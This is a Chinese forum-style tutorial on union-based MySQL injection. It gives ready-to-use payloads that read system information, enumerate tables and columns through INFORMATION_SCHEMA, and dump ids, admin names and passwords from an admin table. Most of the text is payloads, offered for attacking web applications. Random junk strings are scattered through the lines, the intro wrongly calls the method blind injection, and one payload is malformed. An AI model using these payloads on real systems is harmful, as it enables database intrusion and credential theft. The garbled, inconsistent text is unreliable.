mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
! H9 p* [8 O4 ]$ w. ~9 }, ?
- [7 l- V; i1 T6 s! z( t9 K学习盲注前先了解下 IFORMATION_SCHEMA 库
, [+ P; z$ Q( i: }/ H
4 M- b9 b; I! O: T8 M- x) oMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称

9 S- m2 U( ~& U|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名
& o6 ^4 f/ b  h4 A6 Q
|COLUMNS ->存储的字段名表
+ ^' w& R3 |! {9 }2 P|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称

6 \* k+ `2 a% b2 {4 m& I|---字段：COLUMN_NAME ->该字段的名称


% i  x* q/ E% e) F3 z2 |9 S, [
2 p# p) X4 e# ~# y! ?# E###########################################################################

0x001 获取系统信息:

# U  \6 L% Q% f2 ]" L; t4 ~union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
: K9 S2 Q) P( d7 e# K" N& ^
" C" W1 T! J2 T' {& ~- H& q/*
/ }% v8 F3 v, i* \  ]
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
$ O2 D; ?- s- _database() 当前数据库名称
0x3c62723e 换行HEX值

2 L' V: d+ Z8 W3 s% R*/

! R& P$ f- R0 b- u( ^/ ~4 u

######################################################################
" n* T$ }- {" X5 {, }0 t1 a+ K  u7 O
0x002 获取表名

# q, G& e: B6 c$ D9 b, u) zunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*



# \6 ^8 b' [0 H4 w3 N0 c/*
! ~: q" @0 J. S
9 L: i3 H  q. N! r" |+ T3 b) Y- m0x67617264656e 为当前数据库名

% z( x6 b8 |; U1 i4 Rgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
; ?6 H( R* `# Q9 E5 z6 T
# D. d8 a; [$ p( Z1 ]*/
$ q( b0 u! ?  t  y
7 N& S; V" }* Z+ M. q######################################################################

7 v  n' K& A( ?2 r6 a& \
' |. m7 f% j* f
0x003 获取字段
  x. e5 S( F" O0 L: X
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
) n# v0 H1 o7 q- k; A" p
! z! v9 M4 m4 E) U. C/*
: H* a' i3 G- V1 l# w7 ~0 G
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
, h' w, K( }3 c+ |
$ K$ I: f/ T& e3 w/ k  X0x61646d696e ->选择一个表
2 l: M9 q8 |! r) b$ a
* U8 o6 R- O& C/ B( [+ @6 c4 M0x67617264656e ->数据库名
) Y3 m, ~3 u# W2 b; t! |
*/

#####################################################################



* O' g- a' N4 {; m+ F; A. ?% [6 N0x004 获取数据
5 d# k. T5 ~+ r8 E
. \: a4 Z7 k2 o8 Q' x( B4 i1 yunion select 1,2,3
. i$ @# @( P8 ~5 r& h4 Q,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
. I0 c1 @0 A) g8 r# R1 ?  E1 k) {
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin


: C+ t. q5 ^1 a1 u& U- k/ o' R
2 @) a2 D, s9 I0 m0 Y8 U* w0 s/*

! L& B0 m! L7 y0x3c62723e 换行符号HEX编码
) h$ L( w( l3 c0 j# U( }
, t! b2 P- [& I, w, Q* x5 Ogroup_concat 同时获得该字段所有数据

$ x- i* m1 d% i! \*/
1 g4 w6 M% s- G' y9 w9 P6 J
) J( o* X* M+ y3 S, J# N